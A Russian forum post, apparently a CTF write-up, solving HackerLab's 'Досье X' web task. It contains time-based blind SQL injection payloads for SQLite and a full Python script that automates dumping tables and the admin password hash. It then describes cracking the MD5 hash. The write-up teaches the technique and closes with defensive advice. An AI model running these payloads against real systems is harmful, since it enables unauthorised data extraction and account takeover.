Writeup Досье X // разбор решения

Amarant

Green Team
29.01.2025
26
10
Rv2eVqhs.jpg

Предисловие

Всем привет, господа форумчане, хочу поделиться своим опытом в решении моего первого таска уровня сложный из категории Web. Речь пойдет о Досье Х на Hackerlab, поэтому присаживайтесь и приятного прочтения

Первичная разведка

Первостепенно конечно же переходим на сайт и делаем базовый осмотр, что там да как, какие есть функции и подмечаем потенциальные точки атаки. На сайте имеется форма регистрации с параметрами логина, пароля и about (о себе), что сразу можно приметить для вектора атаки. Так же есть форма авторизации и сам сайт. Я создал тестового пользователя и зашёл через него
vROddgQD.jpg

OqNvjCqM.jpg

Сразу подмечаем то, что на сайте высвечивается имя юзера, есть генератор рандомных чисел и собственно всё :)
Негусто, поэтому пробуем идти в атаку и использовать стандартные payload

Стандартные попытки атак

XSS и другие атаки никак не заходили в форму логина и экранировались, как бы я не пытался их ввести
qMxrF7ha.jpg


После этого я попытался внедрить стандартные атаки для проверки во вкладку about, но при логине никакого результата они не дали, страница после авторизации была совершенно непреклонна и тут я встрял в тупик. После небольших размышлений, я решил попробовать проверить SQL инъекцию и при попытке ввести в поле about символ ' получил ошибку
VDMfI5G1.jpg


Таким образом мои поиски натолкнули меня на слепую инъекцию, с чем я раньше не сталкивался, пошла проверка.
SQL:
'||(SELECT SLEEP(5))||'
SQL:
'||(SELECT pg_sleep(5))||'
Вывели ту же ошибку, но после проверка на SQLite в burp дала результат, запрос с кодом
SQL:
'||(SELECT randomblob(100000000))||'
вызвал задержку сервера. Бинго! Вектор атаки есть
GjnD4C9v.jpg


Боль, слёзы и отчаяние...

И на этом моменте я встрял уже в монолитный тупик. Извлекать данные и шерстить все таблицы внутри сайта вручную было бы слишком долго и необходимо было написать скрипт для автоматизации процесса, но ранее такого опыта у меня не было. Деваться было некуда, поэтому методом проб и ошибок, через боль и слёзы спустя почти 6 часов у меня получилось это
Python:
import requests
import time
import random
import sys

# Конфигурация
TARGET_URL = "http://62.173.140.174:16068/register"
DELAY_THRESHOLD = 1.0
BLOB_SIZE = 100000000
MAX_TABLES = 10
MAX_COLS = 15
MAX_LEN = 50
CHARS = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz"

# Глобальные счетчики
total_requests = 0
start_time = time.time()
session_counter = int(time.time())

def send_registration(about):
    global total_requests
    
    # Генерация уникального имени пользователя
    username = f"a{session_counter}_{total_requests}_{random.randint(1000,9999)}"
    password = f"p{random.randint(1000000,9999999)}"
    
    boundary = "----WebKitFormBoundaryVBvviyM5jtKyiJRT"
    body = (
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="username"\r\n\r\n'
        f"{username}\r\n"
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="password"\r\n\r\n'
        f"{password}\r\n"
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="about"\r\n\r\n'
        f"{about}\r\n"
        f"--{boundary}--\r\n"
    )
    
    headers = {
        "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryVBvviyM5jtKyiJRT",
        "Content-Length": str(len(body))
    }
    
    total_requests += 1
    try:
        request_start = time.time()
        response = requests.post(
            TARGET_URL,
            headers=headers,
            data=body,
            timeout=15
        )
        elapsed = time.time() - request_start
        return elapsed if response.status_code == 200 else None
    except:
        return None

def test_condition(condition):
    payload = f"'||(SELECT CASE WHEN {condition} THEN randomblob({BLOB_SIZE}) ELSE '' END)||'"
    elapsed = send_registration(payload)
    return elapsed and elapsed > DELAY_THRESHOLD

def get_count(query, max_val):
    # Бинарный поиск для определения количества
    low, high = 0, max_val
    while low <= high:
        mid = (low + high) // 2
        if test_condition(f"{query} >= {mid}"):
            low = mid + 1
        else:
            high = mid - 1
    return high

def get_char(query, pos):
    # Проверяем наиболее вероятные символы в первую очередь
    for char in "aeiouytsrnhdlcumwfgpbvkxjqz_AEIOUYTSRNHDLCUMWFGPBVKXJQZ0123456789":
        if test_condition(f"SUBSTR(({query}),{pos},1)='{char}'"):
            return char
    
    # Если не нашли, проверяем остальные символы
    for char in CHARS:
        if test_condition(f"SUBSTR(({query}),{pos},1)='{char}'"):
            return char
    
    return '?'

def get_value(query, desc=""):
    # Определение длины
    length = get_count(f"LENGTH(({query}))", MAX_LEN)
    if length <= 0:
        return ""
    
    # Извлечение значения
    value = []
    for pos in range(1, length + 1):
        char = get_char(query, pos)
        value.append(char)
        # Выводим прогресс для длинных значений
        if desc and pos % 5 == 0:
            current = ''.join(value)
            print(f"   {desc}: {current}...")
    
    result = ''.join(value)
    if desc:
        print(f"   {desc}: {result}")
    return result

def get_tables():
    # Проверка существования таблиц
    print("Ищу таблицы в базе данных...")
    if not test_condition("(SELECT COUNT(*) FROM sqlite_master WHERE type='table') > 0"):
        return []
    
    count = get_count("(SELECT COUNT(*) FROM sqlite_master WHERE type='table')", MAX_TABLES)
    tables = []
    for i in range(count):
        table = get_value(f"(SELECT tbl_name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET {i})", f"Таблица {i+1}")
        if table and table != "sqlite_sequence":
            tables.append(table)
            print(f"Найдена таблица: {table}")
    return tables

def get_columns(table):
    # Проверка существования таблицы
    print(f"Ищу столбцы в таблице {table}...")
    if not test_condition(f"(SELECT COUNT(*) FROM sqlite_master WHERE type='table' AND tbl_name='{table}') > 0"):
        return []
    
    count = get_count(f"(SELECT COUNT(*) FROM pragma_table_info('{table}'))", MAX_COLS)
    columns = []
    for i in range(count):
        col = get_value(f"(SELECT name FROM pragma_table_info('{table}') LIMIT 1 OFFSET {i})", f"Столбец {i+1}")
        if col:
            columns.append(col)
            print(f"Найден столбец: {col}")
    return columns

def find_admin_data(table, columns):
    # Поиск столбца с username
    user_col = None
    for col in columns:
        if 'user' in col.lower() or 'name' in col.lower() or 'login' in col.lower():
            user_col = col
            break
    
    if not user_col:
        print("Не найден столбец с именем пользователя")
        return None
    
    # Проверка существования admin
    print("Проверяю существование пользователя admin...")
    if not test_condition(f"EXISTS(SELECT 1 FROM {table} WHERE {user_col}='admin')"):
        print("Пользователь admin не найден")
        return None
    
    # Извлечение данных
    print(f"Извлекаю данные администратора из таблицы {table}:")
    admin_data = {}
    for col in columns:
        value = get_value(f"(SELECT {col} FROM {table} WHERE {user_col}='admin' LIMIT 1)", f"{col}")
        admin_data[col] = value
    return admin_data

def main():
    # Базовая проверка инъекции
    print("Проверяю SQL-инъекцию...")
    if not test_condition("1=1"):
        print("SQL-инъекция не работает")
        return
    
    # Находим все таблицы
    tables = get_tables()
    
    if not tables:
        print("Таблицы не найдены")
        return
    
    print("\nВсе найденные таблицы:")
    for i, table in enumerate(tables):
        print(f"{i+1}) {table}")
    
    # Ищем данные admin
    print("\nИщу данные администратора...")
    admin_found = False
    for table in tables:
        if table.lower() in ["sqlite_master", "sqlite_sequence"]:
            continue
            
        print(f"\nАнализирую таблицу: {table}")
        columns = get_columns(table)
        if not columns:
            print("В таблице нет столбцов")
            continue
        
        admin_data = find_admin_data(table, columns)
        if admin_data:
            print("\nДанные администратора:")
            for col, value in admin_data.items():
                print(f"{col}: {value}")
            admin_found = True
            break
    
    if not admin_found:
        print("Данные администратора не найдены")
    
    # Статистика
    elapsed = time.time() - start_time
    print(f"\nГотово! Запросов: {total_requests}, Время: {elapsed:.1f} сек")

if __name__ == "__main__":
    main()

Да простят меня все программисты...
По мере теста менее удачных версий данного скрипта я выяснил, что есть таблица users, в ней есть username, password и about, а так же пользователь admin и пошёл процесс извлечения пароля и about

И вот, я получаю извлеченный password и строку в about "I love cats..."
ShYB8gV4.jpg

Но как ни странно, пароль 11ec9b3bbea01Jcc59be4574284de206 не подошёл, это оказался лишь хэш. Поставив на отработку hashcat я пошёл пробовать вручную его раскодировать на cyber chef и на декодер MD5 хэшей

Шеф, что было ожидаемо ничего не дал
UOevuLhb.jpg


Но вот MD5 decrypt смог его расхэшировать
EUJKcEw6.jpg

Пробуем зайти под пользователем admin и с паролем surside13 и вуаля!
yPIeyY8s.jpg


Вот и наш флаг



Выводы:

💉 Уязвимость:
Слепая SQL-инъекция (Blind SQL Injection) в поле «О себе» при регистрации. Сервер не проверял и не экранировал пользовательский ввод, что позволяло вставлять произвольный SQL-код в запрос. Из-за отсутствия ошибок на странице данные извлекались через анализ времени ответа сервера.

🛡️ Как защититься:

  • Использовать prepared statements (параметризованные запросы). Это главное правило.
  • Проводить строгую валидацию входных данных (например, разрешать только текст, запрещая спецсимволы).

✅ Заключение:
Таск показал, что даже второстепенные поля (типа «О себе») могут стать вектором для атаки. Важно всегда обрабатывать пользовательский ввод, даже если он кажется безопасным. SQLite — не самая популярная БД для веба, но её особенности (вроде randomblob()) нужно знать для успешного решения CTF-задач. Спасибо хакерлабу за этот интересный опыт, очень рад тому, что мне дался мой первый тяжёлый таск :)

Господа форумчане, принимаю любую конструктивную критику и вопросы, буду рад понять свои ошибки, особенно насчёт моего скрипта или подискутировать
 
Последнее редактирование:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы